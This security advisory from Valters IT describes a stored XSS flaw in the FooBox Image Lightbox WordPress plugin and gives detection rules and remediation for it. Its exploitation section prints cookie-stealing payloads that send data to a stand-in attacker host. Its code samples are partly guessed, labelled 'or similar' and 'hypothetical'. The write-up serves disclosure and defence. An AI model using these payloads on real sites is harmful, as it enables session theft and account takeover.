CVE-2025-32139

Executive Summary

CVE-2025-32139 is a Stored Cross-Site Scripting (XSS) vulnerability in the FooBox Image Lightbox WordPress plugin (slug: foobox-image-lightbox), developed by FooPlugins. The flaw exists in versions up to and including 2.7.33, where user-supplied input is not properly neutralized during web page generation. An authenticated attacker with contributor-level privileges or higher can inject arbitrary JavaScript into image captions or metadata, which executes when an administrator or other user views the affected gallery.

This vulnerability is part of the WordPress ecosystem and does not affect the underlying web server (Apache/Nginx). The CVSS score of 5.9 (Medium) reflects the need for user interaction and low privileges, but the impact is amplified in multi-tenant or high-traffic WordPress installations.

Supply Chain & Package Security

• Ecosystem: WordPress Plugin Directory (.org).
• Package: foobox-image-lightbox (slug).
• Risk: No official patch or advisory from the vendor. The plugin is still available for download, and no updated version has been released. This creates a supply chain risk for any site using the plugin, as the vulnerability remains unpatched.

CVSS Breakdown & Threat Level

Threat Level: Medium. The vulnerability requires authentication and user interaction, but the lack of a patch and the widespread use of the plugin elevate the risk.

Deep Dive & Mechanics

The vulnerability resides in the foobox-image-lightbox plugin's handling of image captions and metadata. When a user with contributor-level access or higher uploads an image or edits a gallery, the plugin stores the caption without sanitizing HTML or JavaScript. The stored payload is then rendered in the frontend when the lightbox is triggered.

Root Cause: The plugin uses echo or wp_kses_post incorrectly (or not at all) for caption fields, allowing <script>, <img onerror>, or <svg onload> tags to pass through.

Attack Flow:

1. Attacker logs in as a contributor.
2. Attacker uploads an image or edits an existing gallery item.
3. Attacker injects a malicious payload into the caption field (e.g., <script>alert(document.cookie)</script>).
4. Administrator or other user views the gallery page and clicks the image to open the lightbox.
5. The payload executes in the victim's browser context.

Vulnerable vs. Patched Code

Vulnerable Code (<= 2.7.33):

// In foobox-image-lightbox.php or similar
$caption = get_post_meta($post_id, 'foobox_caption', true);
echo '<div class="foobox-caption">' . $caption . '</div>';

Patched Code (Hypothetical):

$caption = get_post_meta($post_id, 'foobox_caption', true);
echo '<div class="foobox-caption">' . esc_html($caption) . '</div>';

The fix requires using esc_html() or wp_kses_post() with a restrictive allowlist to strip all JavaScript.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with FooBox Image Lightbox <= 2.7.33.
• Contributor-level account or higher.

Steps:

1. Log in to WordPress as a contributor.
2. Navigate to Media > Add New or edit an existing gallery.
3. In the caption field, inject the following payload:

   <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">
   

4. Save the media item.
5. Send a link to the gallery page to an administrator.
6. When the admin clicks the image to open the lightbox, the payload executes.

Alternative Payload (Stealth):

<svg onload="new Image().src='https://attacker.com/beacon?data='+btoa(document.cookie)">

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual caption content in media items.
• Look for onerror, onload, onmouseover, or <script> tags in post meta fields.

Hardening:

• Apply a Web Application Firewall (WAF) rule to block XSS payloads in caption fields.
• Restrict contributor roles from editing captions if not needed.
• Use a security plugin like Wordfence to scan for malicious content.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/foobox-image-lightbox/foobox-image-lightbox.php (version <= 2.7.33)
• Database: wp_postmeta entries with meta_key = 'foobox_caption' containing <script> or event handlers.
• Network: Outbound requests to attacker-controlled domains from the WordPress admin or frontend.
• Logs: WordPress debug log entries showing wp_kses failures or unescaped output.

Detection Engineering

YARA Rule

rule CVE_2025_32139_FooBox_XSS {
    meta:
        description = "Detects vulnerable FooBox Image Lightbox plugin files"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-32139"
    strings:
        $vuln_func = "foobox_caption"
        $unsafe_echo = /echo.*\$caption/
    condition:
        $vuln_func and $unsafe_echo
}

Sigma Rule

title: CVE-2025-32139 FooBox XSS Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects XSS payloads in FooBox caption fields
author: Valters IT
logsource:
    category: application
    product: wordpress
detection:
    selection:
        meta_key: "foobox_caption"
        meta_value|contains:
            - "<script"
            - "onerror"
            - "onload"
            - "onmouseover"
    condition: selection
falsepositives:
    - Legitimate use of HTML in captions (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-32139 FooBox XSS Payload Exfiltration"; flow:to_server,established; content:"foobox_caption"; nocase; pcre:"/(<script|onerror|onload|onmouseover)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Remove or sanitize all existing foobox_caption meta entries in the database:

   UPDATE wp_postmeta SET meta_value = '' WHERE meta_key = 'foobox_caption' AND meta_value REGEXP '<script|onerror|onload|onmouseover';
   

3. Restrict contributor roles from editing media captions via custom capabilities.

Long-Term:

• Monitor the plugin's official page for updates.
• Consider replacing with an alternative lightbox plugin that is actively maintained.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Workaround:

• Add a custom filter to sanitize captions:

  add_filter('foobox_caption', 'esc_html');
  

Valters IT
Securing the WordPress Ecosystem